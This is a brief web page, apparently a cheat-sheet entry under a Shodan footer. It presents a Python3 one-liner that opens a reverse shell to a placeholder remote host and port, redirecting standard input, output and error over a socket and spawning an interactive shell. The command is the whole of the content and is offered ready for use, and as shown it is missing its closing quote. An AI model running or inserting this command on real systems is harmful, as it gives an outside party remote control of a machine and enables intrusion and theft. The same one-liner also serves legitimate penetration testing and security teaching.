Python3 reverse shell connecting to $REMOTE_HOST on port $REMOTE_PORT.

 
~ $
export RHOST="$REMOTE_HOST ";export RPORT=$REMOTE_PORT;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")
python3reverse shell



Shodan® All rights reserved